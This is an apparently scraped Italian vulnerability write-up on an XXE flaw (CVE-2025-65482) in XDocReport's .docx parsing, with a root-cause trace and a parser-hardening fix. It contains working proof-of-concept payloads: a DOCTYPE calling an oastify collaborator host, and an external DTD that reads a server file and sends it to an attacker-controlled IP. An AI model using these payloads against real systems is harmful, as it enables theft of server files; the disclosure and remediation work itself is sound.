
CVE-2025-65482 (XXE)
Iniezione di Entità Esterna XML
Panoramica della vulnerabilità
Impatto aziendale
Il sito web di gestione del personale consente agli utenti di caricare file .docx sul sistema. Durante l'elaborazione, l'applicazione utilizza la libreria che contiene una vulnerabilità XXE quando passa il file dell'utente attraverso
fr.opensagres.xdocreport.document.docx.docxSAXParserfr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)
la causa è l'uso di Apache POI
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
Cioè Apache POI si trova molto in profondità, nel modulo:
org.apache.poi.xwpf.converter.core
L'errore si verifica perché XDocReport (nel modulo fr.opensagres.xdocreport.document.docx) utilizza Apache POI per leggere i file .docx, e POI utilizza il SAXParser predefinito di Java senza disabilitare le funzionalità che consentono l'elaborazione di DTD ed Entità Esterne. → Ciò permette all'attaccante di inserire un DOCTYPE con un'entità che punta all'esterno (SYSTEM "http://...") o a un file interno (file:///...) → generando XXE.
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
unzip ../vcspentest.docx
nano word/document.xml
modificare con il payload outbound per passare attraverso il collaborator come segue:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
zip -r ../poc.docx *
172.26.208.130. con il contenuto del file vcspentest.dtd come segue:<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
modificare il file word/document.xml nel file .docx con il seguente contenuto per caricare il dtd esterno dalla macchina wsl:
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
.docx e caricare il file sul server per l'elaborazioneD:/vcspentest.txt sul server targetNel codice o a livello di configurazione del parser XML, è necessario disabilitare tutte le funzionalità relative a DTD ed entità esterne.
correzione simile a questo codice
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXParser xxe security code";
}
nel file Main.java
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng Velocity
// IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
Libreria da importare
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
SAXParser senza convalida dell'inputscanDocument() ed esegue la scansione del contenuto XML generando "eventi" (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE, ecc.)Verifica se il nome dell'entità (name = "xxe") è un'entità esterna
Se l'entità è dichiarata ed è esterna, il parser chiamerà la logica di risoluzione esterna (ad esempio startExternalEntity(...) / fEntityManager.startEntity(...)) — questo è il sink: qui il parser prenderà systemId/publicId e tenterà di aprire uno stream (possibilmente generando una richiesta HTTP verso l'esterno).
xxe è un'entità esterna, startEntity(...) porterà alla logica di apertura della risorsa (ad esempio startExternalEntity(...) / apertura di InputStream → possibilità di generare una richiesta HTTP verso l'URL SYSTEM). // should we skip external entities?
boolean external = entity.isExternal();
Entity.ExternalEntity externalEntity = null;
String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
if (external) {
externalEntity = (Entity.ExternalEntity)entity;
extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
boolean unparsed = entity.isUnparsed();
boolean parameter = entityName.startsWith("%");
boolean general = !parameter;
if (unparsed || (general && !fExternalGeneralEntities) ||
(parameter && !fExternalParameterEntities) ||
!fSupportDTD || !fSupportExternalEntities) {
if (fEntityHandler != null) {
fResourceIdentifier.clear();
final String encoding = null;
fResourceIdentifier.setValues(
(externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
extLitSysId, extBaseSysId, expandedSystemId);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.endEntity(entityName, fEntityAugs);
}
return;
}
}
la funzione startEntity() verifica se l'entità è esterna (isExternal = true), quindi chiama:
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);
La variabile externalEntity.entityLocation contiene l'URL dannoso dal DOCTYPE (SYSTEM "http://...oastify.com/").
resolveEntityAsPerStax, la variabile resourceIdentifier contiene il percorso assoluto: http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/
questa funzione poi converte resourceIdentifier in un oggetto XMLResourceIdentifierImpl e continua ad aprire la connessione effettiva per leggere il contenuto.